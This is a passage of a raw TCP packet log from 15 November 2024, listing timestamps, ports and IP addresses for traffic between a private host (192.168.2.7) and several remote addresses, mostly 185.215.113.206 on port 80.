Nov 15, 2024 09:55:45.104801893 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.104839087 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.104924917 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.104929924 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.104939938 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.104942083 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.104954004 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.104976892 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.104981899 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.104990005 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105001926 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.105020046 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105026007 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105036974 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.105040073 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105046988 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105062008 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.105076075 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.105093956 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105102062 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.105160952 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105168104 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105179071 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105185986 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105190992 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105212927 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.105243921 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.105308056 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105325937 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105340004 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105376005 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105379105 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.105385065 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105412006 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105422020 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.105448008 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.105463982 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105472088 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105511904 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105518103 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105529070 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105535984 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105541945 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105544090 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.105575085 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.105593920 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.105628014 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105642080 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105657101 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105660915 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105683088 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105688095 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105698109 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.105709076 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105715990 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105726957 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.105730057 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105739117 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105751991 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.105761051 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105783939 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105789900 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105794907 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.105827093 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.105925083 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105958939 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.105978012 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.105997086 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.106065035 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.106074095 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.106115103 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.106121063 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.106137991 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.106164932 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.106177092 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.106183052 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.106194973 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.106199026 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.106205940 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.106224060 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.106235027 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.106245041 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.106375933 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.106477022 CET	49977	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:45.106504917 CET	443	49977	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:45.106750965 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.106822968 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.106827021 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.106828928 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.106874943 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.106878042 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.106882095 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.106889009 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.106919050 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.106934071 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.106935024 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.107013941 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107026100 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107032061 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107038021 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107043982 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107054949 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.107055902 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107064009 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107089996 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.107094049 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107100964 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107109070 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107120991 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.107144117 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.107198000 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107203007 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107214928 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107243061 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107244968 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.107249975 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107260942 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107275009 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.107296944 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107302904 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.107304096 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107311010 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107330084 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.107410908 CET	49977	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:45.107425928 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.107426882 CET	443	49977	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:45.107454062 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107459068 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107470989 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107496977 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107501984 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.107501984 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107522011 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107534885 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107544899 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.107546091 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107573986 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.107578993 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107584000 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107603073 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107610941 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107620001 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107623100 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.107626915 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107649088 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.107662916 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.107700109 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107706070 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107718945 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107754946 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.107810020 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107815981 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107826948 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107846975 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107852936 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.107868910 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.107891083 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107897997 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107899904 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.107928991 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.107948065 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107954979 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107966900 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107971907 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.107994080 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.108006954 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.108016014 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108022928 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108033895 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108040094 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108069897 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.108100891 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108105898 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108119965 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108134985 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108145952 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108146906 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.108159065 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108164072 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108174086 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.108189106 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.108196974 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108202934 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108259916 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108263016 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.108267069 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108279943 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108303070 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108303070 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.108309031 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108318090 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.108323097 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108345032 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.108355045 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108361006 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108371019 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.108402014 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.108484030 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108489990 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108501911 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108577967 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108577967 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.108586073 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108597994 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108612061 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108618975 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108628035 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.108629942 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108638048 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108659029 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.108670950 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108674049 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.108678102 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108690023 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108700037 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.108716011 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.108737946 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.108746052 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108787060 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108792067 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108807087 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.108822107 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.108834028 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.108895063 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108902931 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108913898 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.108949900 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.113982916 CET	49972	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:45.113982916 CET	49972	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:45.114001989 CET	443	49972	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:45.114010096 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.114012003 CET	443	49972	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:45.114557981 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.122421026 CET	49980	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:45.122468948 CET	443	49980	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:45.123337984 CET	443	49974	20.125.209.212	192.168.2.7
Nov 15, 2024 09:55:45.123434067 CET	49980	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:45.123708963 CET	49980	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:45.123720884 CET	443	49980	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:45.150223017 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.150259972 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.150274992 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.150285006 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.150326967 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.150358915 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.150886059 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.150947094 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.150957108 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.150964975 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.150970936 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.150978088 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.151001930 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.151021957 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.151022911 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.151030064 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.151050091 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.151055098 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.151066065 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.151071072 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.151094913 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.151097059 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.151133060 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.151144028 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.151163101 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.151170015 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.151185989 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.151210070 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.151216030 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.151216030 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.151245117 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.151387930 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.151417017 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.151427984 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.151456118 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.151490927 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.151496887 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.151506901 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.151537895 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.151596069 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.151602983 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.151613951 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.151642084 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.160665989 CET	443	49979	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:45.188523054 CET	443	49978	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:45.193022966 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.193033934 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.193047047 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.193125963 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.200778008 CET	443	49976	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:45.204010963 CET	49976	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:45.204076052 CET	443	49976	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:45.204139948 CET	49976	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:45.211822033 CET	49981	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:45.211879015 CET	443	49981	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:45.212074995 CET	49981	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:45.212779999 CET	49981	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:45.212795019 CET	443	49981	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:45.214376926 CET	49979	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:45.214410067 CET	443	49979	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:45.214883089 CET	49979	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:45.214895010 CET	443	49979	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:45.215709925 CET	49978	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:45.215744972 CET	443	49978	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:45.216110945 CET	49978	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:45.216116905 CET	443	49978	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:45.218158007 CET	49982	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:45.218172073 CET	443	49982	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:45.218236923 CET	49982	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:45.218372107 CET	49982	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:45.218378067 CET	443	49982	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:45.220581055 CET	49975	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:45.223612070 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.223620892 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.223640919 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.223648071 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.223660946 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.223711967 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.223767042 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.224222898 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.224231005 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.224241972 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.224280119 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.224289894 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.224296093 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.224308014 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.224315882 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.224339008 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.224368095 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.224376917 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.224384069 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.224396944 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.224404097 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.224411964 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.224426031 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.224453926 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.224457979 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.224461079 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.224476099 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.224502087 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.224519968 CET	49872	80	192.168.2.7	185.215.113.206
